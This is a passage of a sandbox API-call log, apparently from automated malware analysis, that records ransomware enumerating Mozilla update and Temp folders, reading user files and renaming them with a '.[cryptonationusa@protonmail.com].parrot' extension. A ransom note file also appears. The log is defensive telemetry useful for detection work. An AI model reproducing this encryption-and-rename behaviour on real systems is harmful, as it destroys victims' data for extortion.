HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.mar.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.463] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0088.463] CloseHandle (hObject=0x1fc) returned 1 [0088.463] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80993150, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80993150, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80993150, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc, dwReserved0=0x0, dwReserved1=0x0, cFileName="update.status", cAlternateFileName="UPDATE~1.STA")) returned 0 [0088.463] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.463] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc20a8bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc20a8bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.464] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc2010640, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xc2010640, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc20a8bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0088.464] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.464] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.464] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc20a8bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc20a8bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1 [0088.464] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc20a8bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc20a8bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 0 [0088.464] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.464] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0088.465] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.465] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x39, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x39, lpOverlapped=0x0) returned 1 [0088.466] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.466] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.470] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0088.470] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc20a8bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc20a8bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.472] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a2b6d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xc1f780c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-update.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACTIVE~1.PAR")) returned 1 [0088.472] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0088.472] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.472] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc20a8bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc20a8bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E7CF176E110C211B", cAlternateFileName="E7CF17~1")) returned 1 [0088.472] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc20a8bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc20a8bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E7CF176E110C211B", cAlternateFileName="E7CF17~1")) returned 0 [0088.473] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0088.473] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.474] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0088.474] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1 [0088.474] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 0 [0088.474] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0088.474] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.474] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f8d9100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0x9f8d9100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.475] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.475] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.475] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf9f9ab60, ftCreationTime.dwHighDateTime=0x1d5c365, ftLastAccessTime.dwLowDateTime=0x32d84cf0, ftLastAccessTime.dwHighDateTime=0x1d5bba2, ftLastWriteTime.dwLowDateTime=0x32d84cf0, ftLastWriteTime.dwHighDateTime=0x1d5bba2, nFileSizeHigh=0x0, nFileSizeLow=0x177c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="-1r_m1dalClp86DO T.wav", cAlternateFileName="-1R_M1~1.WAV")) returned 1 [0088.475] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.475] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.476] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.476] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x177c1, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x177c1, lpOverlapped=0x0) returned 1 [0088.480] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.484] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-1r_m1dalClp86DO T.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-1r_m1dalclp86do t.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-1r_m1dalClp86DO T.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-1r_m1dalclp86do t.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.490] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.490] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.491] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.491] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4aae, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x4aae, lpOverlapped=0x0) returned 1 [0088.492] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.493] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-lG7-K.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-lg7-k.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-lG7-K.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-lg7-k.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.496] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.496] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.497] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.497] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5c8d, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x5c8d, lpOverlapped=0x0) returned 1 [0088.497] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.498] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-LZn4azOgg8GdjvmnV N.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-lzn4azogg8gdjvmnv n.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-LZn4azOgg8GdjvmnV N.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-lzn4azogg8gdjvmnv n.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.501] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.501] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.501] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.502] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8dec, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x8dec, lpOverlapped=0x0) returned 1 [0088.503] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.504] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\36g7.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\36g7.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\36g7.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\36g7.mkv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.508] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.508] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.509] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.509] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x82e6, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x82e6, lpOverlapped=0x0) returned 1 [0088.512] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.512] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5KmuuLxzHa1Q_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5kmuulxzha1q_.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5KmuuLxzHa1Q_.docx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5kmuulxzha1q_.docx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.517] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.517] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.517] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.518] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa795, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xa795, lpOverlapped=0x0) returned 1 [0088.520] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.521] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8MPc2Y.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\8mpc2y.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8MPc2Y.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\8mpc2y.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.526] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.526] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.527] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.527] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1041b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1041b, lpOverlapped=0x0) returned 1 [0088.530] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.533] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8swzRXmrPgo8zoX4v.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\8swzrxmrpgo8zox4v.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8swzRXmrPgo8zoX4v.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\8swzrxmrpgo8zox4v.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.537] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.538] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.538] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.539] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd594, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xd594, lpOverlapped=0x0) returned 1 [0088.541] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.543] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8vaPiRvzXfUsdXxZ-wi6.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\8vapirvzxfusdxxz-wi6.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8vaPiRvzXfUsdXxZ-wi6.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\8vapirvzxfusdxxz-wi6.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.548] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, 